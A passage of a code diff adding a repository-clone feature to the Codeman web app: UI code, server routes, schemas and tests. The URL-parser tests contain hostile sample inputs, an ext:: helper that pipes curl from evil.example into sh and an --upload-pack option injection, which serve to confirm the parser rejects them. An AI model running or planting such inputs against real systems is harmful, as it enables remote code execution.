</details>
<span class="form-hint" id="cloneCaseNote" style="margin-top: 8px; display: block;">The clone runs while this request is open, so a large repository takes a while. The case appears as soon as git finishes, even if the browser gave up waiting.</span>
</div>
<!-- Link Existing Tab -->
<div class="modal-tab-content hidden" id="case-link">
<div class="form-row">
+247 -6
View File
@@ -1772,6 +1772,11 @@ Object.assign(CodemanApp.prototype, {
const el = document.getElementById(id);
if (el) el.value = '';
});
this._resetCloneForm();
// Cloning needs git ON THE SERVER: hide the whole tab rather than let it fail
// at submit. Unknown reads as available (isCliAvailable's rule).
const cloneTabBtn = document.getElementById('caseCloneTabBtn');
if (cloneTabBtn) cloneTabBtn.style.display = this.isCliAvailable('git') ? '' : 'none';
// Reset to first tab
this.caseModalTab = 'case-create';
this.switchCaseModalTab('case-create');
@@ -1817,15 +1822,19 @@ Object.assign(CodemanApp.prototype, {
submitBtn.textContent =
tabName === 'case-create'
? 'Create'
: tabName === 'case-remote'
? 'Link Remote'
: tabName === 'case-docker'
? 'Link Docker'
: 'Link';
: tabName === 'case-clone'
? 'Clone'
: tabName === 'case-remote'
? 'Link Remote'
: tabName === 'case-docker'
? 'Link Docker'
: 'Link';
}
// Focus appropriate input
if (tabName === 'case-create') {
document.getElementById('newCaseName').focus();
} else if (tabName === 'case-clone') {
document.getElementById('cloneRepoUrl').focus();
} else if (tabName === 'case-link') {
document.getElementById('linkCaseName').focus();
} else if (tabName === 'case-remote') {
@@ -1843,10 +1852,16 @@ Object.assign(CodemanApp.prototype, {
const btn = document.getElementById('caseModalSubmit');
const originalText = btn.textContent;
btn.classList.add('loading');
btn.textContent = this.caseModalTab === 'case-create' ? 'Creating...' : 'Linking...';
btn.textContent =
this.caseModalTab === 'case-create' ? 'Creating...' : this.caseModalTab === 'case-clone' ? 'Cloning...' : 'Linking...';
// A clone holds this request open for minutes; without disabling the button a
// second click fires a second clone (the loser then fails on ALREADY_EXISTS).
btn.disabled = true;
try {
if (this.caseModalTab === 'case-create') {
await this.createCase();
} else if (this.caseModalTab === 'case-clone') {
await this.cloneCase();
} else if (this.caseModalTab === 'case-remote') {
await this.linkRemoteCase();
} else if (this.caseModalTab === 'case-docker') {
@@ -1856,6 +1871,7 @@ Object.assign(CodemanApp.prototype, {
}
} finally {
btn.classList.remove('loading');
btn.disabled = false;
btn.textContent = originalText;
}
},
@@ -1997,6 +2013,231 @@ Object.assign(CodemanApp.prototype, {
}
},
// ═══════════════════════════════════════════════════════════════
// Clone Repo tab (issue #236)
// ═══════════════════════════════════════════════════════════════
/** Clear the Clone tab and drop any preflight state. Called from showCreateCaseModal(). */
_resetCloneForm() {
const set = (id, value) => {
const el = document.getElementById(id);
if (el) el.value = value;
};
set('cloneRepoUrl', '');
set('cloneCaseName', '');
set('cloneRepoRef', '');
const shallow = document.getElementById('cloneShallow');
if (shallow) shallow.checked = false;
const start = document.getElementById('cloneStartSession');
if (start) start.checked = false;
const refs = document.getElementById('cloneRepoRefOptions');
if (refs) refs.replaceChildren();
const refHint = document.getElementById('cloneRefHint');
if (refHint) refHint.textContent = "Leave blank for the repository's default branch.";
this._cloneNameEdited = false;
this._clonePreflight = null;
clearTimeout(this._clonePreflightTimer);
this._clonePreflightAbort?.abort();
this._clonePreflightAbort = null;
this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
// The brain picker mirrors the toolbar run menu: never offer a CLI this box
// lacks (#201's rule), and preselect whatever Run is currently pointing at.
const brain = document.getElementById('cloneCaseBrain');
if (brain) {
for (const option of brain.options) {
const cli = option.dataset.cli;
option.hidden = !!cli && !this.isCliAvailable(cli);
}
const current = this.runMode || 'claude';
brain.value = [...brain.options].some((o) => o.value === current && !o.hidden) ? current : '';
}
},
_setCloneStatus(message, kind) {
const el = document.getElementById('cloneRepoStatus');
if (!el) return;
el.textContent = message;
el.className = `form-hint clone-status${kind ? ' clone-status-' + kind : ''}`;
},
/**
* Best-effort repo name out of a URL, for filling the case name as you type.
*
* Deliberately a THIN mirror of `suggestCaseNameFromRepo` (git-clone.ts) rather
* than a second URL parser: it only ever suggests a name, and the server's parse
* is the authority on whether the URL is cloneable at all. The preflight reply
* overwrites whatever this guessed.
*/
_repoNameFromUrl(url) {
const trimmed = (url || '').trim().replace(/\/+$/, '');
if (!trimmed) return '';
const segment = trimmed
.replace(/^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//, '')
.replace(/^[^@/]*@/, '')
.split(/[/:]/)
.filter(Boolean)
.pop() || '';
return segment
.replace(/\.git$/i, '')
.replace(/[^a-zA-Z0-9_-]+/g, '-')
.replace(/-{2,}/g, '-')
.replace(/^[-_]+|[-_]+$/g, '')
.slice(0, 64);
},
onCloneNameEdited() {
// Once the user types a name, autofill stops fighting them.
this._cloneNameEdited = !!document.getElementById('cloneCaseName')?.value.trim();
},
onCloneUrlInput() {
const url = document.getElementById('cloneRepoUrl')?.value.trim() || '';
const nameInput = document.getElementById('cloneCaseName');
if (nameInput && !this._cloneNameEdited) nameInput.value = this._repoNameFromUrl(url);
clearTimeout(this._clonePreflightTimer);
this._clonePreflightAbort?.abort();
this._clonePreflightAbort = null;
if (!url) {
this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
return;
}
if (this.isCliAvailable('git') === false) {
this._setCloneStatus('git is not installed on the Codeman host, so cloning is unavailable.', 'err');
return;
}
this._setCloneStatus('Checking the repository…', '');
this._clonePreflightTimer = setTimeout(() => this._runClonePreflight(url), 450);
},
/**
* Ask the server to parse the URL and (if it survives) query the remote, so the
* user learns "private repo" / "typo" / "3 tags" BEFORE waiting on a clone.
* Stale replies are dropped: only the response for the URL currently in the
* field is allowed to paint.
*/
async _runClonePreflight(url) {
const controller = new AbortController();
this._clonePreflightAbort = controller;
try {
const res = await fetch('/api/cases/clone-preflight', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ repository: url }),
signal: controller.signal,
});
const env = await res.json();
if (document.getElementById('cloneRepoUrl')?.value.trim() !== url) return;
if (!env.success) {
this._setCloneStatus(env.error || 'Could not check that URL.', 'err');
return;
}
this._applyClonePreflight(env.data, url);
} catch (err) {
if (err.name === 'AbortError') return;
this._setCloneStatus('Could not reach Codeman to check that URL.', 'err');
}
},
_applyClonePreflight(data, url) {
this._clonePreflight = data;
const parse = data?.parse;
if (!parse?.cloneable) {
this._setCloneStatus(parse?.message || 'That URL cannot be cloned.', 'err');
return;
}
// The server's suggestion wins over the local guess (it is the same function
// the case name is validated against), but never over a name the user typed.
const nameInput = document.getElementById('cloneCaseName');
if (nameInput && !this._cloneNameEdited && parse.suggestedName) nameInput.value = parse.suggestedName;
const where = parse.owner ? `${parse.provider} ${parse.owner}/${parse.repo}` : `${parse.provider} ${parse.repo}`;
if (data.gitAvailable === false) {
this._setCloneStatus(`${where}: git is not installed on the Codeman host.`, 'err');
return;
}
const remote = data.remote;
if (remote && !remote.reachable) {
this._setCloneStatus(`${where}: ${remote.failure?.message || 'the remote could not be read.'}`, 'err');
return;
}
const refHint = document.getElementById('cloneRefHint');
const options = document.getElementById('cloneRepoRefOptions');
if (remote && options) {
options.replaceChildren();
for (const ref of [...(remote.branches || []), ...(remote.tags || [])]) {
const option = document.createElement('option');
option.value = ref;
options.appendChild(option);
}
if (refHint) {
const counts = `${remote.branches?.length || 0} branches, ${remote.tags?.length || 0} tags`;
refHint.textContent = remote.defaultBranch
? `Blank clones the default branch (${remote.defaultBranch}). ${counts} available.`
: `Blank clones the default branch. ${counts} available.`;
}
}
const warning = parse.warnings?.[0];
this._setCloneStatus(warning ? `${where}: ${warning}` : `${where}: ready to clone.`, warning ? 'warn' : 'ok');
},
async cloneCase() {
const url = document.getElementById('cloneRepoUrl').value.trim();
const name = document.getElementById('cloneCaseName').value.trim();
const ref = document.getElementById('cloneRepoRef').value.trim();
const shallow = !!document.getElementById('cloneShallow')?.checked;
const brain = document.getElementById('cloneCaseBrain')?.value || '';
const startSession = !!document.getElementById('cloneStartSession')?.checked;
if (!url) {
this.showToast('Please enter a repository URL', 'error');
return;
}
if (!name) {
this.showToast('Please enter a case name', 'error');
return;
}
if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
this.showToast('Invalid name. Use only letters, numbers, hyphens, underscores.', 'error');
return;
}
this._setCloneStatus(`Cloning ${url}… this can take a while for a large repository.`, '');
try {
const res = await fetch('/api/cases/clone', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
// Zod `.optional()` rejects an explicit null, and JSON.stringify keeps one
// on the wire — omit the empty fields instead of sending null.
body: JSON.stringify({ name, repository: url, ...(ref ? { ref } : {}), ...(shallow ? { shallow: true } : {}) }),
});
const data = await res.json();
if (!data.success) {
this._setCloneStatus(data.error || 'Clone failed.', 'err');
this.showToast(data.error || 'Failed to clone repository', 'error');
return;
}
// Setting the brain before the tab closes means the Run button is already
// pointing at the chosen CLI, whether or not a session starts now.
if (brain) this.setRunMode(brain);
this.closeCreateCaseModal();
await this.loadQuickStartCases(name);
await this.saveLastUsedCase(name);
this.showToast(`Cloned into case "${name}"`, 'success');
for (const warning of data.data?.warnings || []) this.showToast(warning, 'warning');
if (startSession) await this.run();
} catch (err) {
// A proxy/idle timeout can kill the request while git keeps going: the
// case:created broadcast is what makes the case show up regardless.
console.error('Failed to clone repository:', err);
this._setCloneStatus(
`Lost the connection while cloning: ${err.message}. If git finishes, the case still appears in the list.`,
'warn'
);
this.showToast('Clone request interrupted — watch the case list', 'error');
}
},
openLinkCasePathPicker() {
const pathInput = document.getElementById('linkCasePath');
PathPicker.open({
+16
View File
@@ -5323,6 +5323,22 @@ body.touch-device .terminal-container .xterm .xterm-helper-textarea {
margin-top: 0.35rem;
}
/* Clone Repo tab (issue #236): live verdict on the URL being typed. Semantic
tokens, so light skins inherit readable variants automatically. */
.clone-status {
min-height: 1.6em;
overflow-wrap: anywhere;
}
.clone-status-ok {
color: var(--green);
}
.clone-status-warn {
color: var(--yellow);
}
.clone-status-err {
color: var(--red);
}
/* Preset selector */
.preset-selector {
display: flex;
+241 -3
View File
@@ -1,11 +1,13 @@
/**
* @fileoverview Case management routes.
* Handles CRUD for cases (directories under ~/codeman-cases and linked folders),
* fix-plan reading, and ralph-wizard file serving.
* cloning a repository into a new case (`/api/cases/clone` + `/clone-preflight`,
* issue #236 — the URL-safety rules live in `src/git-clone.ts`), fix-plan reading,
* and ralph-wizard file serving.
*/
import { FastifyInstance } from 'fastify';
import { existsSync, mkdirSync, writeFileSync, readdirSync, readFileSync, createReadStream } from 'node:fs';
import { existsSync, lstatSync, mkdirSync, writeFileSync, readdirSync, readFileSync, createReadStream } from 'node:fs';
import { exec } from 'node:child_process';
import fs from 'node:fs/promises';
import { join, resolve, basename } from 'node:path';
@@ -15,6 +17,8 @@ import type { ApiResponse, CaseInfo, DockerHost, RemoteSessionInfo, SessionDocke
import { ApiErrorCode, createErrorResponse, getErrorMessage } from '../../types.js';
import {
CreateCaseSchema,
CloneCaseSchema,
ClonePreflightSchema,
LinkCaseSchema,
CaseOrderSchema,
RemoteCaseLinkSchema,
@@ -26,8 +30,16 @@ import {
DockerQuickCreateSchema,
} from '../schemas.js';
import { exportDockerCase, importDockerBundle, listDockerExports, exportBundleName } from '../../docker-export.js';
import {
cloneRepository,
isGitAvailable,
isSafeGitRef,
parseGitRepositoryUrl,
probeGitRemote,
} from '../../git-clone.js';
import type { GitRemoteProbe, GitUrlParse } from '../../git-clone.js';
import { generateClaudeMd } from '../../templates/claude-md.js';
import { writeHooksConfig } from '../../hooks-config.js';
import { settingsWriteBlocker, writeHooksConfig } from '../../hooks-config.js';
import {
canAccessOwned,
getAuthUser,
@@ -89,6 +101,41 @@ const APP_VERSION = (() => {
}
})();
/**
* Refusal text for a `local`-transport clone by a non-admin in multi-user mode.
* Per-user case spaces live inside one $HOME, so cloning from an absolute path
* would copy another user's workspace into the caller's own (the same escape
* `/api/cases/link` is admin-only for).
*/
const LOCAL_CLONE_ADMIN_ONLY =
'Cloning from a local path is admin-only in multi-user mode. Use a repository URL instead.';
/**
* The one line of git's stderr worth appending to an error message.
*
* NOT the first line: `git clone` opens with "Cloning into '<dest>'…", so a naive
* first-line pick reported the destination path as the reason a bad branch failed
* (observed against a real remote). Prefer the LAST diagnostic line
* (`fatal:`/`error:`/`remote:`), which is where git puts the actual cause.
*/
function gitDiagnosticLine(stderr: string): string {
const lines = stderr
.split('\n')
.map((l) => l.trim())
.filter(Boolean);
const line = [...lines].reverse().find((l) => /^(fatal|error|remote|warning):/i.test(l)) ?? lines.at(-1) ?? '';
return line.length > 200 ? `${line.slice(0, 200)}…` : line;
}
/**
* Does the freshly cloned tree carry its own Claude settings? Those can contain
* hooks, which run on the user's machine when a session starts in the case, so
* the clone response says so out loud instead of silently merging into them.
*/
function repoShipsClaudeSettings(casePath: string): boolean {
return ['settings.json', 'settings.local.json'].some((file) => existsSync(join(casePath, '.claude', file)));
}
/** Read and parse linked-cases.json, returning empty object on missing/invalid file. */
async function readLinkedCases(): Promise<Record<string, string>> {
return readJsonConfig<Record<string, string>>(LINKED_CASES_FILE, 'linked cases', {});
@@ -301,6 +348,197 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config
}
});
// ========== Clone a repository as a case (issue #236) ==========
/**
* Ask a remote what it has, without cloning anything.
*
* Two jobs: tell the user whether the URL they typed can be cloned *anonymously*
* (Codeman supplies no credentials, so "private" and "typo" both have to be
* distinguishable from "fine"), and hand back the branch/tag lists so the ref
* field is a picker instead of a guess.
*
* Always 200 with `reachable: false` on a dead remote — an unreachable URL is a
* normal answer to a preflight, not a server error, and the UI renders the reason.
*/
app.post(
'/api/cases/clone-preflight',
async (
req,
reply
): Promise<ApiResponse<{ parse: GitUrlParse; remote?: GitRemoteProbe; gitAvailable: boolean }>> => {
const { repository } = parseBody(ClonePreflightSchema, req.body);
const parsed = parseGitRepositoryUrl(repository);
if (!parsed.cloneable) {
return { success: true, data: { parse: parsed, gitAvailable: isGitAvailable() } };
}
if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
reply.code(403);
return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
}
if (!isGitAvailable()) {
return { success: true, data: { parse: parsed, gitAvailable: false } };
}
const remote = await probeGitRemote(parsed.repository);
return { success: true, data: { parse: parsed, remote, gitAvailable: true } };
}
);
/**
* Clone a repository into the caller's case space and register it as a normal
* local case (issue #236).
*
* SYNCHRONOUS by design for v1: the request stays open for the whole clone
* (bounded by `GIT_CLONE_TIMEOUT_MS`), so there is no job store, no polling and
* no cancellation surface to get wrong. The `case:created` broadcast is what
* makes that safe behind a proxy with its own idle timeout — a client whose
* request died mid-clone still sees the case appear over SSE when git finishes.
*
* Deliberately NOT admin-gated in multi-user mode: unlike `/api/cases/link`,
* this writes only inside the caller's own `resolveCasesDir`. The one exception
* is a `local`-transport source, which would read through that boundary.
*
* Repository contents win over scaffolding: an existing CLAUDE.md is left
* alone, and hooks are MERGED into whatever `.claude/settings.local.json` the
* repo ships (`writeHooksConfig` preserves non-Codeman handlers). A repo that
* ships its own hooks is reported back as a warning, because those run on the
* user's machine the moment a session starts in the case.
*/
app.post(
'/api/cases/clone',
async (
req,
reply
): Promise<
ApiResponse<{
case: { name: string; path: string };
repository: string;
ref?: string;
provider: string;
warnings: string[];
}>
> => {
const { name, repository, ref, shallow, description } = parseBody(CloneCaseSchema, req.body);
const user = getAuthUser(req);
const parsed = parseGitRepositoryUrl(repository);
if (!parsed.cloneable) return createErrorResponse(ApiErrorCode.INVALID_INPUT, parsed.message);
if (ref && !isSafeGitRef(ref)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid branch or tag name');
}
if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
reply.code(403);
return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
}
if (!isGitAvailable()) {
return createErrorResponse(
ApiErrorCode.OPERATION_FAILED,
'git is not installed on this machine (or not on the server’s PATH).'
);
}
const casesDir = resolveCasesDir(user);
const casePath = validatePathWithinBase(name, casesDir);
if (!casePath) return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid case path');
// Reject a duplicate name across EVERY case kind before invoking git, so a
// clone can never be the thing that discovers the collision (it would have
// spent minutes of network first, and git's own error is about a directory).
const linkedCases = await readLinkedCases();
const dockerCases = await readDockerCases(CODEMAN_CONFIG_DIR);
const remoteCases = await readRemoteCases(CODEMAN_CONFIG_DIR);
if (
existsSync(casePath) ||
linkedCases[name] ||
dockerCases.some((item) => item.name === name) ||
remoteCases.some((item) => item.name === name)
) {
return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Case already exists');
}
// git creates the leaf, not necessarily the case space above it.
try {
mkdirSync(casesDir, { recursive: true });
} catch (err) {
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
}
const clone = await cloneRepository({
repository: parsed.repository,
destination: casePath,
...(ref ? { ref } : {}),
...(shallow ? { shallow: true } : {}),
});
if (!clone.ok) {
const code =
clone.failure.code === 'NOT_FOUND'
? ApiErrorCode.NOT_FOUND
: clone.failure.code === 'DESTINATION_EXISTS'
? ApiErrorCode.ALREADY_EXISTS
: clone.failure.code === 'REF_NOT_FOUND'
? ApiErrorCode.INVALID_INPUT
: clone.failure.code === 'BUSY'
? ApiErrorCode.RATE_LIMITED
: ApiErrorCode.OPERATION_FAILED;
const detail = clone.failure.stderr
? `${clone.failure.message} (${gitDiagnosticLine(clone.failure.stderr)})`
: clone.failure.message;
return createErrorResponse(code, detail);
}
// Scaffold WITHOUT overwriting anything the repository shipped, and
// WITHOUT writing through anything it shipped as a symlink.
const warnings = [...parsed.warnings];
try {
// Presence via lstat, not existsSync: a repo-shipped CLAUDE.md SYMLINK
// counts as "the repository ships its own" even when the link is
// broken (existsSync follows links and reports a broken one as
// absent), because writeFileSync would write THROUGH it to a
// repository-chosen path outside the case.
if (!lstatSync(join(casePath, 'CLAUDE.md'), { throwIfNoEntry: false })) {
const templatePath = await ctx.getDefaultClaudeMdPath();
const summary = description || `Cloned from ${parsed.repository}`;
writeFileSync(join(casePath, 'CLAUDE.md'), generateClaudeMd(name, summary, templatePath));
} else {
warnings.push('Kept the repository’s own CLAUDE.md.');
}
if (repoShipsClaudeSettings(casePath)) {
warnings.push(
'This repository ships its own .claude/settings files. Codeman merged its hooks alongside them without removing anything — review them before starting a session, since repo-supplied hooks run on this machine.'
);
}
// A repository can ship `.claude` (or the settings file) as a symlink
// pointing anywhere on this machine; writeHooksConfig itself refuses
// to write through those (settingsWriteBlocker in hooks-config.ts).
// Checking here too turns that refusal into a user-visible warning.
const hooksBlocker = await settingsWriteBlocker(casePath);
if (hooksBlocker) {
warnings.push(
`Codeman hooks were NOT installed: ${hooksBlocker}. Codeman refuses to write through repository-controlled links; replace the link with a real file or directory if you want hooks in this case.`
);
} else {
await writeHooksConfig(casePath);
}
} catch (err) {
// The clone itself succeeded: keep the case and report the scaffolding
// problem, rather than deleting a tree the user just waited for.
warnings.push(`Case scaffolding was incomplete: ${getErrorMessage(err)}`);
}
ctx.broadcast(SseEvent.CaseCreated, { name, path: casePath });
return {
success: true,
data: {
case: { name, path: casePath },
repository: parsed.repository,
...(ref ? { ref } : {}),
provider: parsed.provider,
warnings,
},
};
}
);
// Hosts are machine-level infra config (ssh users/identity paths): non-admins get an
// empty list in multi-user mode, matching the admin-only write side. No-op otherwise.
app.get('/api/remote-hosts', async (req) =>
+35 -1
View File
@@ -124,6 +124,14 @@ export const FileWriteSchema = z
/** Allowlisted env var key prefixes */
const ALLOWED_ENV_PREFIXES = ['CLAUDE_CODE_', 'OPENCODE_', 'CODEX_', 'GEMINI_', 'GOOGLE_', 'ANTIGRAVITY_'];
/**
* Allowlisted exact env var keys (checked alongside the prefixes).
* CLAUDE_CONFIG_DIR relocates the Claude CLI's user config (credentials,
* settings, stats) so a case can run on a separate Claude subscription (#255).
* Exact match only — CLAUDE_CONFIG_DIR_EXTRA etc. stay rejected.
*/
const ALLOWED_ENV_KEYS = new Set(['CLAUDE_CONFIG_DIR']);
/** Env var keys that are always blocked (security-sensitive) */
const BLOCKED_ENV_KEYS = new Set([
'PATH',
@@ -138,6 +146,7 @@ const BLOCKED_ENV_KEYS = new Set([
/** Validate that an env var key is allowed */
function isAllowedEnvKey(key: string): boolean {
if (BLOCKED_ENV_KEYS.has(key)) return false;
if (ALLOWED_ENV_KEYS.has(key)) return true;
return ALLOWED_ENV_PREFIXES.some((prefix) => key.startsWith(prefix));
}
@@ -152,7 +161,7 @@ const safeEnvOverridesSchema = z
},
{
message:
'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_*, OPENCODE_*, CODEX_*, GEMINI_*, GOOGLE_*, and ANTIGRAVITY_* keys are allowed.',
'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_*, OPENCODE_*, CODEX_*, GEMINI_*, GOOGLE_*, ANTIGRAVITY_* keys and CLAUDE_CONFIG_DIR are allowed.',
}
);
@@ -376,6 +385,31 @@ export const CreateCaseSchema = z.object({
description: z.string().max(1000).optional(),
});
/**
* Schema for POST /api/cases/clone — issue #236.
*
* `repository` is only length-bounded here on purpose: what makes an operand safe
* is the transport/shape analysis in `parseGitRepositoryUrl` (which also produces
* the user-facing rejection reason), and duplicating a weaker version of that as a
* regex would be the copy that drifts. The route parses before touching git.
*/
export const CloneCaseSchema = z.object({
name: z
.string()
.regex(/^[a-zA-Z0-9_-]+$/, 'Invalid case name format. Use only letters, numbers, hyphens, underscores.'),
repository: z.string().min(1).max(2048),
/** Branch or tag → `--branch <ref> --single-branch`. */
ref: z.string().min(1).max(200).optional(),
/** `--depth 1`. */
shallow: z.boolean().optional(),
description: z.string().max(1000).optional(),
});
/** Schema for POST /api/cases/clone-preflight — ask the remote what it has, clone nothing. */
export const ClonePreflightSchema = z.object({
repository: z.string().min(1).max(2048),
});
const RemoteCommandOverridesSchema = z
.object({
shell: z.string().min(1).max(300).optional(),
+5
View File
@@ -1378,6 +1378,7 @@ export class WebServer extends EventEmitter {
{ isGeminiAvailable },
{ isAntigravityAvailable },
{ isCloudflaredAvailable },
{ isGitAvailable },
] = await Promise.all([
import('../utils/claude-cli-resolver.js'),
import('../utils/opencode-cli-resolver.js'),
@@ -1385,6 +1386,7 @@ export class WebServer extends EventEmitter {
import('../utils/gemini-cli-resolver.js'),
import('../utils/antigravity-cli-resolver.js'),
import('../utils/cloudflared-resolver.js'),
import('../git-clone.js'),
]);
const available = {
claude: isClaudeAvailable(),
@@ -1393,6 +1395,9 @@ export class WebServer extends EventEmitter {
gemini: isGeminiAvailable(),
antigravity: isAntigravityAvailable(),
cloudflared: isCloudflaredAvailable(),
// Not a run mode: the Add Case → Clone tab is an offer this box cannot
// keep without git (issue #236), same reasoning as cloudflared above.
git: isGitAvailable(),
};
html = html.replace(
'</head>',
+79
View File
@@ -0,0 +1,79 @@
/**
* @fileoverview envOverrides allowlist: exact-key entries alongside the prefixes.
*
* CLAUDE_CONFIG_DIR (#255) relocates the Claude CLI's user config (credentials,
* settings, stats) so a case can run on a separate Claude subscription. It starts
* with `CLAUDE_`, not `CLAUDE_CODE_`, so the prefix allowlist alone rejects it;
* ALLOWED_ENV_KEYS in schemas.ts admits it as an exact match. These tests pin:
* the exact key is accepted, near-misses stay rejected (no accidental prefix
* widening), blocked keys stay blocked, and the key survives persist filtering
* (losing it on restart would silently move a session back to the default account).
*/
import { describe, it, expect } from 'vitest';
import { CreateSessionSchema } from '../src/web/schemas.js';
import { Session } from '../src/session.js';
describe('envOverrides exact-key allowlist', () => {
it('accepts CLAUDE_CONFIG_DIR', () => {
const parsed = CreateSessionSchema.parse({
workingDir: '/tmp',
mode: 'claude',
envOverrides: { CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme' },
});
expect(parsed.envOverrides).toEqual({ CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme' });
});
it('accepts CLAUDE_CONFIG_DIR alongside prefix-allowlisted keys', () => {
const parsed = CreateSessionSchema.parse({
workingDir: '/tmp',
mode: 'claude',
envOverrides: {
CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1',
},
});
expect(Object.keys(parsed.envOverrides ?? {})).toHaveLength(2);
});
it('rejects other CLAUDE_-prefixed keys (exact match only, no prefix widening)', () => {
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
envOverrides: { CLAUDE_SOMETHING_ELSE: 'x' },
})
).toThrow();
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
envOverrides: { CLAUDE_CONFIG_DIR_EXTRA: '/tmp/x' },
})
).toThrow();
});
it('still blocks security-sensitive keys', () => {
for (const key of ['PATH', 'LD_PRELOAD', 'NODE_OPTIONS', 'CODEMAN_MUX_NAME']) {
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
envOverrides: { [key]: 'x' },
})
).toThrow();
}
});
});
describe('CLAUDE_CONFIG_DIR persistence', () => {
it('survives the state.json persist filter (path, not a secret)', () => {
const session = new Session({
workingDir: '/tmp',
envOverrides: {
CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
OPENCODE_API_KEY: 'secret-must-not-persist',
},
});
expect(session.getEnvOverridesForPersist()).toEqual({
CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
});
});
});
+521
View File
@@ -0,0 +1,521 @@
/**
* @fileoverview Tests for the clone-a-repository-as-a-case core (issue #236).
*
* Two halves, mirroring the module:
*
* 1. The PURE half — URL parsing (where the security decisions live), argv/env
* construction, `ls-remote` parsing and stderr classification. No spawning.
* 2. The IO half — driven against a REAL `git` cloning a REAL local bare repo, so
* the argv, the failure classification and the cleanup-on-failure path are all
* proven against git's actual behavior rather than a mock's idea of it. These
* skip themselves when git is unavailable (never silently pass: the pure
* assertions above still run).
*
* Port: N/A (no server).
*/
import { describe, it, expect, beforeAll, afterAll, vi } from 'vitest';
import { execFileSync } from 'node:child_process';
import { existsSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
buildCloneArgs,
buildLsRemoteArgs,
classifyGitFailure,
cloneRepository,
getActiveGitOperationCount,
gitNonInteractiveEnv,
isGitAvailable,
isSafeGitRef,
parseGitRepositoryUrl,
parseLsRemoteOutput,
probeGitRemote,
sanitizeGitOutput,
suggestCaseNameFromRepo,
} from '../src/git-clone.js';
/** Narrow a parse result to the accepted branch, failing loudly otherwise. */
function accepted(input: string) {
const parsed = parseGitRepositoryUrl(input);
if (!parsed.cloneable) throw new Error(`expected ${input} to be cloneable, got ${parsed.code}: ${parsed.message}`);
return parsed;
}
/** Narrow a parse result to the rejected branch. */
function rejected(input: string) {
const parsed = parseGitRepositoryUrl(input);
if (parsed.cloneable) throw new Error(`expected ${input} to be REFUSED, but it parsed as ${parsed.repository}`);
return parsed;
}
describe('parseGitRepositoryUrl', () => {
it('accepts an https GitHub URL and pulls out owner/repo/provider', () => {
const parsed = accepted('https://github.com/Ark0N/Codeman.git');
expect(parsed.transport).toBe('https');
expect(parsed.host).toBe('github.com');
expect(parsed.owner).toBe('Ark0N');
expect(parsed.repo).toBe('Codeman');
expect(parsed.provider).toBe('GitHub');
expect(parsed.suggestedName).toBe('Codeman');
expect(parsed.warnings).toEqual([]);
});
it('accepts nested owner paths and a missing .git suffix', () => {
const parsed = accepted('https://gitlab.com/group/subgroup/project');
expect(parsed.owner).toBe('group/subgroup');
expect(parsed.repo).toBe('project');
expect(parsed.provider).toBe('GitLab');
});
it('accepts the scp-like SSH form', () => {
const parsed = accepted('git@github.com:owner/repo.git');
expect(parsed.transport).toBe('ssh');
expect(parsed.host).toBe('github.com');
expect(parsed.owner).toBe('owner');
expect(parsed.repo).toBe('repo');
// The advisory exists because an unconfigured key fails rather than prompts.
expect(parsed.warnings.join(' ')).toMatch(/ssh keys/i);
});
it('accepts ssh:// with a port', () => {
const parsed = accepted('ssh://git@git.example.com:2222/owner/repo.git');
expect(parsed.transport).toBe('ssh');
expect(parsed.host).toBe('git.example.com:2222');
expect(parsed.repo).toBe('repo');
});
it('warns but accepts plain http and git://', () => {
expect(accepted('http://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unencrypted/i);
expect(accepted('git://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unauthenticated/i);
});
it('accepts an absolute local path and file:// as a local clone', () => {
expect(accepted('/srv/repos/thing.git').transport).toBe('local');
expect(accepted('/srv/repos/thing.git').repo).toBe('thing');
expect(accepted('file:///srv/repos/thing').transport).toBe('local');
});
// ── The refusals that matter ──────────────────────────────────────────────
it('REFUSES ext:: and every other transport helper (arbitrary command execution)', () => {
expect(rejected('ext::sh -c "curl evil.example | sh"').code).toBe('TRANSPORT_HELPER');
expect(rejected('fd::7').code).toBe('TRANSPORT_HELPER');
// Not just the known-bad names: ANY `<helper>::` dispatches to git-remote-<helper>.
expect(rejected('weird::payload').code).toBe('TRANSPORT_HELPER');
});
it('REFUSES an option-shaped operand', () => {
expect(rejected('--upload-pack=touch /tmp/pwned').code).toBe('OPTION_LIKE');
expect(rejected('-u whatever').code).toBe('OPTION_LIKE');
});
it('REFUSES a URL carrying a password', () => {
expect(rejected('https://user:token@github.com/owner/repo.git').code).toBe('CREDENTIALS_IN_URL');
});
it('REFUSES unsupported schemes', () => {
expect(rejected('ftp://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
expect(rejected('javascript://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
});
it('REFUSES control characters and over-long input', () => {
